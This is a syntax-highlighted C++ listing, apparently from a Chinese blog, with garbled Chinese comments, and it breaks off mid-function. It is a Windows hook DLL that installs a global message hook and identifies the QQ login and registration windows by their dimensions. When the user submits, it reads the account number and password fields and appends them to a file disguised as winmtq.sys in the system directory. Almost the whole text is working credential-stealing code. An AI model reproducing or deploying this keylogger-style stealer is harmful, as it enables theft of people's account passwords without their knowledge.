#008000;"></span><span style="color: #000000;">#include </span><span style="color: #000000;">"</span><span style="color: #000000;">stdafx.h</span><span style="color: #000000;">"</span><span style="color: #000000;"><br></span><span style="color: #008080;">  4</span> <span style="color: #000000;"><br></span><span style="color: #008080;">  5</span> <span style="color: #000000;">#pragma data_seg(</span><span style="color: #000000;">"</span><span style="color: #000000;">publicdata</span><span style="color: #000000;">"</span><span style="color: #000000;">)<br></span><span style="color: #008080;">  6</span> <span style="color: #000000;"> HHOOK hhk</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;">  7</span> <span style="color: #000000;"> HWND hokkwnd</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;">  8</span> <span style="color: #000000;"> HWND hwndqq_zc</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;">  9</span> <span style="color: #000000;"> </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> k</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;"> 10</span> <span style="color: #000000;"> </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> pc</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;"> 11</span> <span style="color: #000000;"> </span><span style="color: #0000ff;">char</span><span style="color: #000000;"> keys[</span><span style="color: #000000;">200</span><span style="color: #000000;">]</span><span style="color: #000000;">=</span><span style="color: #000000;">{</span><span style="color: #000000;">0</span><span style="color: #000000;">};<br></span><span style="color: #008080;"> 12</span> <span style="color: #000000;">#pragma data_seg( )<br></span><span style="color: #008080;"> 13</span> <span style="color: #000000;">#pragma comment(linker, </span><span style="color: #000000;">"</span><span style="color: #000000;">/SECTION:publicdata,RWS</span><span style="color: #000000;">"</span><span style="color: #000000;">)<br></span><span style="color: #008080;"> 14</span> <span style="color: #000000;"></span><span style="color: #008000;">//</span><span style="color: #008000;">dll涓垱寤哄叡浜暟鎹錛屽垏璁幫紒錛侊紒鎵鏈夊彉閲忓繀欏誨垵濮嬪寲錛屽惁鍒欏垱寤哄皢澶辮觸</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 15</span> <span style="color: #008000;"></span><span style="color: #000000;"><br></span><span style="color: #008080;"> 16</span> <span style="color: #000000;"> </span><span style="color: #008000;">/*</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 17</span> <span style="color: #008000;">    鐧誨綍紿椾綋鎺т歡id:<br></span><span style="color: #008080;"> 18</span> <span style="color: #008000;">        鐢ㄦ埛鍙風爜: 138<br></span><span style="color: #008080;"> 19</span> <span style="color: #008000;">        瀵嗙爜錛?80<br></span><span style="color: #008080;"> 20</span> <span style="color: #008000;">        鐧誨綍錛堟寜閽級: 1<br></span><span style="color: #008080;"> 21</span> <span style="color: #008000;">        璁頒綇瀵嗙爜:323<br></span><span style="color: #008080;"> 22</span> <span style="color: #008000;"><br></span><span style="color: #008080;"> 23</span> <span style="color: #008000;">    娉ㄥ唽紿椾綋鎺т歡id錛?br></span><span style="color: #008080;"> 24</span> <span style="color: #008000;">        鐢ㄦ埛錛?nbsp;460<br></span><span style="color: #008080;"> 25</span> <span style="color: #008000;">        瀵嗙爜錛?nbsp;461<br></span><span style="color: #008080;"> 26</span> <span style="color: #008000;">        涓嬩竴姝ワ紙鎸夐挳錛夛細12324<br></span><span style="color: #008080;"> 27</span> <span style="color: #008000;">  </span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 28</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 29</span> <span style="color: #000000;">#include </span><span style="color: #000000;"><</span><span style="color: #000000;">stdio.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br></span><span style="color: #008080;"> 30</span> <span style="color: #000000;">#include </span><span style="color: #000000;"><</span><span style="color: #000000;">stdlib.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br></span><span style="color: #008080;"> 31</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 32</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 33</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 34</span> <span style="color: #000000;">BOOL APIENTRY DllMain( HANDLE hModule, <br></span><span style="color: #008080;"> 35</span> <span style="color: #000000;">                       DWORD  ul_reason_for_call, <br></span><span style="color: #008080;"> 36</span> <span style="color: #000000;">                       LPVOID lpReserved<br></span><span style="color: #008080;"> 37</span> <span style="color: #000000;">                     )<br></span><span style="color: #008080;"> 38</span> <span style="color: #000000;">{<br></span><span style="color: #008080;"> 39</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> TRUE;<br></span><span style="color: #008080;"> 40</span> <span style="color: #000000;">}<br></span><span style="color: #008080;"> 41</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 42</span> <span style="color: #000000;"></span><span style="color: #0000ff;">const</span><span style="color: #000000;"> </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> WND_NONE</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;     </span><span style="color: #008000;">//</span><span style="color: #008000;">闈炵牬瑙Q紿椾綋</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 43</span> <span style="color: #008000;"></span><span style="color: #0000ff;">const</span><span style="color: #000000;"> </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> WND_LOGIN</span><span style="color: #000000;">=</span><span style="color: #000000;">1</span><span style="color: #000000;"> ; </span><span style="color: #008000;">//</span><span style="color: #008000;">qq 鐧誨綍紿椾綋</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 44</span> <span style="color: #008000;"></span><span style="color: #0000ff;">const</span><span style="color: #000000;"> </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> WND_ZC</span><span style="color: #000000;">=</span><span style="color: #000000;">2</span><span style="color: #000000;">;     </span><span style="color: #008000;">//</span><span style="color: #008000;">QQ 娉ㄥ唽紿椾綋</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 45</span> <span style="color: #008000;"></span><span style="color: #000000;"><br></span><span style="color: #008080;"> 46</span> <span style="color: #000000;"></span><span style="color: #0000ff;">int</span><span style="color: #000000;"> GetWnd(HWND hwnd){<br></span><span style="color: #008080;"> 47</span> <span style="color: #000000;">    RECT rc;<br></span><span style="color: #008080;"> 48</span> <span style="color: #000000;">    ::GetWindowRect(hwnd,</span><span style="color: #000000;">&</span><span style="color: #000000;">rc);<br></span><span style="color: #008080;"> 49</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> w,h;<br></span><span style="color: #008080;"> 50</span> <span style="color: #000000;">    w </span><span style="color: #000000;">=</span><span style="color: #000000;"> rc.right</span><span style="color: #000000;">-</span><span style="color: #000000;">rc.left;<br></span><span style="color: #008080;"> 51</span> <span style="color: #000000;">    h </span><span style="color: #000000;">=</span><span style="color: #000000;"> rc.bottom</span><span style="color: #000000;">-</span><span style="color: #000000;"> rc.top;<br></span><span style="color: #008080;"> 52</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(w</span><span style="color: #000000;">==</span><span style="color: #000000;"> </span><span style="color: #000000;">462</span><span style="color: #000000;">  </span><span style="color: #000000;">&&</span><span style="color: #000000;"> h</span><span style="color: #000000;">==</span><span style="color: #000000;">355</span><span style="color: #000000;">){<br></span><span style="color: #008080;"> 53</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> WND_ZC;<br></span><span style="color: #008080;"> 54</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;"> 55</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(w</span><span style="color: #000000;">==</span><span style="color: #000000;"> </span><span style="color: #000000;">266</span><span style="color: #000000;">  </span><span style="color: #000000;">&&</span><span style="color: #000000;"> h</span><span style="color: #000000;">==</span><span style="color: #000000;">180</span><span style="color: #000000;">){<br></span><span style="color: #008080;"> 56</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> WND_LOGIN;<br></span><span style="color: #008080;"> 57</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;"> 58</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> WND_NONE;<br></span><span style="color: #008080;"> 59</span> <span style="color: #000000;">}<br></span><span style="color: #008080;"> 60</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 61</span> <span style="color: #000000;"></span><span style="color: #0000ff;">char</span><span style="color: #000000;"> buf[</span><span style="color: #000000;">200</span><span style="color: #000000;">]    ;<br></span><span style="color: #008080;"> 62</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 63</span> <span style="color: #000000;"></span><span style="color: #0000ff;">void</span><span style="color: #000000;"> keyfilter(</span><span style="color: #0000ff;">char</span><span style="color: #000000;"> key){<br></span><span style="color: #008080;"> 64</span> <span style="color: #000000;">    keys[pc]</span><span style="color: #000000;">=</span><span style="color: #000000;"> key;<br></span><span style="color: #008080;"> 65</span> <span style="color: #000000;">    pc</span><span style="color: #000000;">++</span><span style="color: #000000;">;<br></span><span style="color: #008080;"> 66</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(key</span><span style="color: #000000;">==</span><span style="color: #000000;">8</span><span style="color: #000000;">){<br></span><span style="color: #008080;"> 67</span> <span style="color: #000000;">        pc</span><span style="color: #000000;">--</span><span style="color: #000000;">;<br></span><span style="color: #008080;"> 68</span> <span style="color: #000000;">        keys[pc]</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br></span><span style="color: #008080;"> 69</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;"> 70</span> <span style="color: #000000;">}<br></span><span style="color: #008080;"> 71</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 72</span> <span style="color: #000000;"></span><span style="color: #0000ff;">void</span><span style="color: #000000;"> save(){<br></span><span style="color: #008080;"> 73</span> <span style="color: #000000;"></span><span style="color: #008000;">//</span><span style="color: #008000;">    ::MessageBox(0,"Begin dump data<img src="http://www.shnenglu.com/Images/dot.gif">",0,MB_OK);</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 74</span> <span style="color: #008000;"></span><span style="color: #000000;">    </span><span style="color: #008000;">/*</span><span style="color: #008000;"> 媯嫻嬫槸鍚﹀湪杈撳叆甯愬彿瀵嗙爜鏃舵寜涓嬬殑 next 鎸夐挳 </span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 75</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(    hwndqq_zc)</span><span style="color: #000000;">==</span><span style="color: #000000;">WND_ZC){<br></span><span style="color: #008080;"> 76</span> <span style="color: #000000;">        HWND hsub;<br></span><span style="color: #008080;"> 77</span> <span style="color: #000000;">        hsub </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetWindow(hwndqq_zc,GW_CHILD);<br></span><span style="color: #008080;"> 78</span> <span style="color: #000000;">        hsub </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetDlgItem(hsub,</span><span style="color: #000000;">460</span><span style="color: #000000;">); </span><span style="color: #008000;">//</span><span style="color: #008000;">鍙栫敤鎴峰彿鎺т歡鍙ユ焺</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 79</span> <span style="color: #008000;"></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">IsWindowVisible(hsub)){ </span><span style="color: #008000;">//</span><span style="color: #008000;">鍦ㄥ叾瀹僷ropertypage 涓婃寜涓媙ext 涓嶄繚瀛樹俊鎭?/span><span style="color: #008000;"><br></span><span style="color: #008080;"> 80</span> <span style="color: #008000;"></span><span style="color: #000000;">            </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> ;<br></span><span style="color: #008080;"> 81</span> <span style="color: #000000;">        }<br></span><span style="color: #008080;"> 82</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;"> 83</span> <span style="color: #000000;">    <br></span><span style="color: #008080;"> 84</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">char</span><span style="color: #000000;"> buf[</span><span style="color: #000000;">100</span><span style="color: #000000;">],writebuf[</span><span style="color: #000000;">100</span><span style="color: #000000;">];;<br></span><span style="color: #008080;"> 85</span> <span style="color: #000000;">    <br></span><span style="color: #008080;"> 86</span> <span style="color: #000000;">    memset(buf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(buf));<br></span><span style="color: #008080;"> 87</span> <span style="color: #000000;">    ::GetSystemDirectory(buf,sizeof(buf));<br></span><span style="color: #008080;"> 88</span> <span style="color: #000000;">    strcat(buf,</span><span style="color: #000000;">"</span><span style="color: #000000;">\\winmtq.sys</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;"> 89</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;">::MessageBox(0,buf,0,MB_OK);</span><span style="color: #008000;"><br></span><span style="color: #008080;"> 90</span> <span style="color: #008000;"></span><span style="color: #000000;">    FILE </span><span style="color: #000000;">*</span><span style="color: #000000;">pfile </span><span style="color: #000000;">=</span><span style="color: #000000;"> fopen(buf,</span><span style="color: #000000;">"</span><span style="color: #000000;">a+</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;"> 91</span> <span style="color: #000000;">    <br></span><span style="color: #008080;"> 92</span> <span style="color: #000000;">    memset(buf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(buf));<br></span><span style="color: #008080;"> 93</span> <span style="color: #000000;">    memset(writebuf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(writebuf));<br></span><span style="color: #008080;"> 94</span> <span style="color: #000000;"></span><span style="color: #008000;">////////////////////////////////////////////////////////</span><span style="color: #008000;">    </span><span style="color: #008000;"><br></span><span style="color: #008080;"> 95</span> <span style="color: #008000;"></span><span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(    hwndqq_zc)</span><span style="color: #000000;">==</span><span style="color: #000000;">WND_ZC){<br></span><span style="color: #008080;"> 96</span> <span style="color: #000000;">        </span><span style="color: #008000;">/*</span><span style="color: #008000;">  鍙栨敞鍐岀獥浣撲俊鎭?/span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 97</span> <span style="color: #000000;">        HWND hsub  </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetWindow(hwndqq_zc,GW_CHILD);<br></span><span style="color: #008080;"> 98</span> <span style="color: #000000;">        </span><span style="color: #008000;">//</span><span style="color: #008000;">460 </span><span style="color: #008000;"><br></span><span style="color: #008080;"> 99</span> <span style="color: #008000;"></span><span style="color: #000000;">        ::GetDlgItemText(hsub,</span><span style="color: #000000;">460</span><span style="color: #000000;">,buf,sizeof(buf));<br></span><span style="color: #008080;">100</span> <span style="color: #000000;">        strcpy(writebuf,buf);<br></span><span style="color: #008080;">101</span> <span style="color: #000000;">        strcat(writebuf,</span><span style="color: #000000;">"</span><span style="color: #000000;">|</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">102</span> <span style="color: #000000;">        memset(buf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(buf));<br></span><span style="color: #008080;">103</span> <span style="color: #000000;">        ::GetDlgItemText(hsub,</span><span style="color: #000000;">461</span><span style="color: #000000;">,buf,sizeof(buf));<br></span><span style="color: #008080;">104</span> <span style="color: #000000;">        strcat(writebuf,buf);<br></span><span style="color: #008080;">105</span> <span style="color: #000000;">        strcat(writebuf,</span><span style="color: #000000;">"</span><span style="color: #000000;">&</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">106</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;">107</span> <span style="color: #000000;"></span><span style="color: #008000;">//////////////////////////////////////////////////////</span><span style="color: #008000;">/</span><span style="color: #008000;"><br></span><span style="color: #008080;">108</span> <span style="color: #008000;">/*</span><span style="color: #008000;">鍙栫櫥褰曠獥浣撲俊鎭?/span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;">109</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(hwndqq_zc) </span><span style="color: #000000;">==</span><span style="color: #000000;"> WND_LOGIN){<br></span><span style="color: #008080;">110</span> <span style="color: #000000;"></span><span style="color: #008000;">//</span><span style="color: #008000;">        ::MessageBox(0,"lgin crack",0,MB_OK); <br></span><span style="color: #008080;">111</span> <span style="color: #008000;">        </span><span style="color: #008000;">//</span><span style="color: #008000;">鍙栫敤鎴峰彿</span><span style="color: #008000;"><br></span><span style="color: #008080;">112</span> <span style="color: #008000;"></span><span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> cursel ;<br></span><span style="color: #008080;">113</span> <span style="color: #000000;">        <br></span><span style="color: #008080;">114</span> <span style="color: #000000;">        HWND hsub;<br></span><span style="color: #008080;">115</span> <span style="color: #000000;">        hsub </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetDlgItem(hwndqq_zc,</span><span style="color: #000000;">138</span><span style="color: #000000;">);<br></span><span style="color: #008080;">116</span> <span style="color: #000000;">        memset(buf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(buf));<br></span><span style="color: #008080;">117</span> <span style="color: #000000;">        cursel</span><span style="color: #000000;">=</span><span style="color: #000000;"> ::SendMessage((HWND)hsub,CB_GETCURSEL,</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br></span><span style="color: #008080;">118</span> <span style="color: #000000;">        ::SendMessage((HWND)hsub,CB_GETLBTEXT,cursel,(LONG)buf);<br></span><span style="color: #008080;">119</span> <span style="color: #000000;">        strcpy(writebuf,buf);<br></span><span style="color: #008080;">120</span> <span style="color: #000000;">        strcat(writebuf,</span><span style="color: #000000;">"</span><span style="color: #000000;">|</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">121</span> <span style="color: #000000;">        memset(buf,</span><span style="color: #000000;">0</span><span style="color: #000000;">,sizeof(buf));<br></span><span style="color: #008080;">122</span> <span style="color: #000000;">        ::GetDlgItemText(hwndqq_zc,</span><span style="color: #000000;">180</span><span style="color: #000000;">,buf,sizeof(buf));<br></span><span style="color: #008080;">123</span> <span style="color: #000000;">        strcat(writebuf,buf);<br></span><span style="color: #008080;">124</span> <span style="color: #000000;">        strcat(writebuf,</span><span style="color: #000000;">"</span><span style="color: #000000;">&</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">125</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;">126</span> <span style="color: #000000;"></span><span style="color: #008000;">//////////////////////////////////////////////////////</span><span style="color: #008000;">/<br></span><span style="color: #008080;">127</span> <span style="color: #008000;"><br></span><span style="color: #008080;">128</span> <span style="color: #008000;"></span><span style="color: #008000;">//</span><span style="color: #008000;">    ::MessageBox(0,writebuf,0,MB_OK);</span><span style="color: #008000;"><br></span><span style="color: #008080;">129</span> <span style="color: #008000;"></span><span style="color: #000000;">    <br></span><span style="color: #008080;">130</span> <span style="color: #000000;">    fwrite(writebuf,</span><span style="color: #000000;">1</span><span style="color: #000000;">,strlen(writebuf)</span><span style="color: #000000;">+</span><span style="color: #000000;">2</span><span style="color: #000000;">,pfile);<br></span><span style="color: #008080;">131</span> <span style="color: #000000;">    fclose(pfile);<br></span><span style="color: #008080;">132</span> <span style="color: #000000;">    <br></span><span style="color: #008080;">133</span> <span style="color: #000000;">}<br></span><span style="color: #008080;">134</span> <span style="color: #000000;"><br></span><span style="color: #008080;">135</span> <span style="color: #000000;">LRESULT CALLBACK GetMsgProc(<br></span><span style="color: #008080;">136</span> <span style="color: #000000;">  </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> code,       </span><span style="color: #008000;">//</span><span style="color: #008000;"> hook code</span><span style="color: #008000;"><br></span><span style="color: #008080;">137</span> <span style="color: #008000;"></span><span style="color: #000000;">  WPARAM wParam,  </span><span style="color: #008000;">//</span><span style="color: #008000;"> removal option</span><span style="color: #008000;"><br></span><span style="color: #008080;">138</span> <span style="color: #008000;"></span><span style="color: #000000;">  LPARAM lParam   </span><span style="color: #008000;">//</span><span style="color: #008000;"> message</span><span style="color: #008000;"><br></span><span style="color: #008080;">139</span> <span style="color: #008000;"></span><span style="color: #000000;">  ){<br></span><span style="color: #008080;">140</span> <span style="color: #000000;">    MSG  </span><span style="color: #000000;">*</span><span style="color: #000000;">pmsg </span><span style="color: #000000;">=</span><span style="color: #000000;">(MSG</span><span style="color: #000000;">*</span><span style="color: #000000;">)lParam;<br></span><span style="color: #008080;">141</span> <span style="color: #000000;">    HWND hwnd ;<br></span><span style="color: #008080;">142</span> <span style="color: #000000;">    HWND hnext;<br></span><span style="color: #008080;">143</span> <span style="color: #000000;">    HWND hlogin;<br></span><span style="color: #008080;">144</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (code </span><span style="color: #000000;"><</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">){<br></span><span style="color: #008080;">145</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">goto</span><span style="color: #000000;"> end;    <br></span><span style="color: #008080;">146</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;">147</span> <span style="color: #000000;">    <br></span><span style="color: #008080;">148</span> <span style="color: #000000;"></span><span style="color: #008000;">/*</span><span style="color: #008000;">    <br></span><span style="color: #008080;">149</span> <span style="color: #008000;">    if(pmsg->message ==WM_CHAR && pmsg->hwnd == hokkwnd){ //<br></span><span style="color: #008080;">150</span> <span style="color: #008000;">    //    keyfilter(pmsg->wParam);<br></span><span style="color: #008080;">151</span> <span style="color: #008000;">        <br></span><span style="color: #008080;">152</span> <span style="color: #008000;">    }<br></span><span style="color: #008080;">153</span> <span style="color: #008000;"></span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;">154</span> <span style="color: #000000;"><br></span><span style="color: #008080;">155</span> <span style="color: #000000;">    </span><span style="color: #008000;">/*</span><span style="color: #008000;">涓涓嬫嫻嬫槸鍚︾敤鎴烽夋嫨浜?涓嬩竴姝?鎴栬?鐧誨綍"鎸夐挳</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br></span><span style="color: #008080;">156</span> <span style="color: #000000;">    <br></span><span style="color: #008080;">157</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(pmsg</span><span style="color: #000000;">-></span><span style="color: #000000;">message </span><span style="color: #000000;">==</span><span style="color: #000000;"> WM_KEYDOWN  </span><span style="color: #000000;">&&</span><span style="color: #000000;"> pmsg</span><span style="color: #000000;">-></span><span style="color: #000000;">wParam </span><span style="color: #000000;">==</span><span style="color: #000000;">VK_RETURN ){ </span><span style="color: #008000;">//</span><span style="color: #008000;"> && LOWORD(wParam)==12324</span><span style="color: #008000;"><br></span><span style="color: #008080;">158</span> <span style="color: #008000;"></span><span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> btnid;<br></span><span style="color: #008080;">159</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(    hwndqq_zc)</span><span style="color: #000000;">==</span><span style="color: #000000;">WND_ZC){<br></span><span style="color: #008080;">160</span> <span style="color: #000000;">            btnid </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">461</span><span style="color: #000000;">;</span><span style="color: #008000;">//</span><span style="color: #008000;">12324;</span><span style="color: #008000;"><br></span><span style="color: #008080;">161</span> <span style="color: #008000;"></span><span style="color: #000000;">        }<br></span><span style="color: #008080;">162</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(hwndqq_zc) </span><span style="color: #000000;">==</span><span style="color: #000000;"> WND_LOGIN){<br></span><span style="color: #008080;">163</span> <span style="color: #000000;">            btnid </span><span style="color: #000000;">=</span><span style="color: #000000;">180</span><span style="color: #000000;">; </span><span style="color: #008000;">//</span><span style="color: #008000;">鐢ㄤ簬杈撳叆瀵嗙爜鍚庢墦鍥炶濺</span><span style="color: #008000;"><br></span><span style="color: #008080;">164</span> <span style="color: #008000;"></span><span style="color: #000000;">        }        <br></span><span style="color: #008080;">165</span> <span style="color: #000000;">        hnext </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetDlgItem(hwndqq_zc,btnid);<br></span><span style="color: #008080;">166</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(    hwndqq_zc)</span><span style="color: #000000;">==</span><span style="color: #000000;">WND_ZC){<br></span><span style="color: #008080;">167</span> <span style="color: #000000;">            HWND hs </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetWindow(hwndqq_zc,GW_CHILD);<br></span><span style="color: #008080;">168</span> <span style="color: #000000;">            <br></span><span style="color: #008080;">169</span> <span style="color: #000000;">            hnext </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetDlgItem(hs,btnid);<br></span><span style="color: #008080;">170</span> <span style="color: #000000;">        }<br></span><span style="color: #008080;">171</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;">    ::MessageBox(0,"key deal",0,MB_OK);</span><span style="color: #008000;"><br></span><span style="color: #008080;">172</span> <span style="color: #008000;"></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(pmsg</span><span style="color: #000000;">-></span><span style="color: #000000;">hwnd </span><span style="color: #000000;">==</span><span style="color: #000000;">hnext)<br></span><span style="color: #008080;">173</span> <span style="color: #000000;">            save();<br></span><span style="color: #008080;">174</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;">175</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(pmsg</span><span style="color: #000000;">-></span><span style="color: #000000;">message </span><span style="color: #000000;">==</span><span style="color: #000000;">WM_LBUTTONUP ){<br></span><span style="color: #008080;">176</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> btnid;<br></span><span style="color: #008080;">177</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(    hwndqq_zc)</span><span style="color: #000000;">==</span><span style="color: #000000;">WND_ZC){<br></span><span style="color: #008080;">178</span> <span style="color: #000000;">            btnid </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">12324</span><span style="color: #000000;">;<br></span><span style="color: #008080;">179</span> <span style="color: #000000;">        }<br></span><span style="color: #008080;">180</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(GetWnd(hwndqq_zc) </span><span style="color: #000000;">==</span><span style="color: #000000;"> WND_LOGIN){<br></span><span style="color: #008080;">181</span> <span style="color: #000000;">            btnid </span><span style="color: #000000;">=</span><span style="color: #000000;">1</span><span style="color: #000000;">; </span><span style="color: #008000;">//</span><span style="color: #008000;">鐧誨綍紿椾綋鐨勭櫥褰曟寜閽?/span><span style="color: #008000;"><br></span><span style="color: #008080;">182</span> <span style="color: #008000;"></span><span style="color: #000000;">        }        <br></span><span style="color: #008080;">183</span> <span style="color: #000000;">        hnext </span><span style="color: #000000;">=</span><span style="color: #000000;"> ::GetDlgItem(hwndqq_zc,btnid);<br></span><span style="color: #008080;">184</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">(pmsg</span><span style="color: #000000;">-></span><span style="color: #000000;">hwnd </span><span style="color: #000000;">==</span><span style="color: #000000;"> hnext)<br></span><span style="color: #008080;">185</span> <span style="color: #000000;">            save();<br></span><span style="color: #008080;">186</span> <span style="color: #000000;">    }<br></span><span style="color: #008080;">187</span> <span style="color: #000000;">end :<br></span><span style="color: #008080;">188</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> CallNextHookEx(hhk,code,wParam,lParam);<br></span><span style="color: #008080;">189</span> <span style="color: #000000;"><br></span><span style="color: #008080;">190</span> <span style="color: #000000;">}<br></span><span style="color: #008080;">191</span> <span style="color: #000000;"><br></span><span style="color: #008080;">192</span> <span style="color: #000000;">extern </span><span style="color: #000000;">"</span><span style="color: #000000;">C</span><span style="color: #000000;">"</span><span style="color: #000000;"> bool __stdcall __declspec(dllexport) sethook(HWND qqzc</span><span style="color: #008000;">/*</span><span style="color: #008000;">qq娉ㄥ唽紿椾綋鍙ユ焺</span><span style="color: #008000;">*/</span><span style="color: #000000;">){<br></span><span style="color: #008080;">193</span> <span style="color: #000000;">    <br></span><span style="color: #008080;">194</span> <span style="color: #000000;">     hwndqq_zc</span><span style="color: #000000;">=</span><span style="color: #000000;">qqzc;<br></span><span style="color: #008080;">195</span> <span style="color: #000000;">    HINSTANCE hdll </span><span style="color: #000000;">=</span><span style="color: #000000;"> GetModuleHandle(</span><span style="color: #000000;">"</span><span style="color: #000000;">hook.dll</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">196</span> <span style="color: #000000;">    hhk </span><span style="color: #000000;">=</span><span style="color: #000000;"> SetWindowsHookEx(WH_GETMESSAGE,HOOKPROC(GetMsgProc) ,hdll,</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br></span><span style="color: #008080;">197</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">if</span><span 